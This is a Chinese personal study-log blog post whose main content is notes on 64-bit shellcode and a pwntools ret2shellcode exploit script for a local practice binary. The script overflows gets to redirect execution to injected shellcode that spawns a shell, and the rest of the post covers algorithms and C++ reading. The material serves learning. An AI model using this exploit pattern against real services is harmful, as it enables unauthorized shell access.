昨天休息了一天(感覺是好久沒休息了),打了一下午狼人殺劇本殺、打麻將,好快樂,不過一日不學果然心慌慌,不過我感覺學習模式該調整一下,每天起來得先寫好list,要不然效率不夠高,
6.14 to do list:
1.每日Pwn學習
2.級數復習 to 資料結構小章 and 演算法小章
3.Cpp第一章
4.密碼工程練習(附加)
一:每日Pwn學習
64位呼叫shellcode

64位shellcode流程

幾個需要注意的細節:
1.rax是呼叫3b
2.rdi傳參細節,首先xor清零,第二壓入堆疊,第三講/bin//sh賦值到rdi,再壓入堆疊,最后將rsp地址給rdi
現在堆疊的資料是0x2f62696e2f73680,小端存盤第一步和第二步的目的是最后的值0截斷,以防后面的資料連續讀
3.syscall
gcc輸出64位檔案記得 要在-o 前打-m64或則不打

一個是gets要獲取的地址,一個是puts要獲取的地址
64位的程式會回傳一個8位元組的地址,peda是可以直接查詢偏移的

但pwndbg是不行是,正確的回傳地址是后四個位元組(因為小端存盤)

這樣查即可
思路就是第一個gets覆寫回傳地址到buf2,第二個gets存入buf2的shellcode
exp.py(才發現直接復制過來會出事,那只能上傳無注釋版的了)
from pwn import *
context(arch = "amd64" , os = "linux")
#context.log_level = "debug"
p = process("./ret2shellcode_64")
offset = 40
e = ELF("./ret2shellcode_64")
buf2 = e.symbols["buf2"]
shellcode = asm(shellcraft.sh())
payload1 = offset * "P" + p64(buf2)
payload2 = shellcode.ljust(200,'Z')
p.recvuntil(": ")
p.sendline(payload1)
p.recvuntil(": ")
p.sendline(payload2)
print buf2
p.interactive()
二:級數復習
級數已復習,完成演算法導論第二章,好有意思,準備再看一遍結尾,本來想著看個小章,由于資料結構另一個在看,于是看完這一章(雖然不長),但今天資料結構沒法打卡了,
三:CPP
看到了本書約定,又又又又看了次C的歷程,真是每次看每次感覺不一樣,
四:密碼工程
這個附加項今天沒精力完成了,GOOD NIGHT.
轉載請註明出處,本文鏈接:https://www.uj5u.com/qukuanlian/287660.html
標籤:區塊鏈
上一篇:goland的環境搭建
下一篇:紅外遙控學習,萬能遙控解決方案
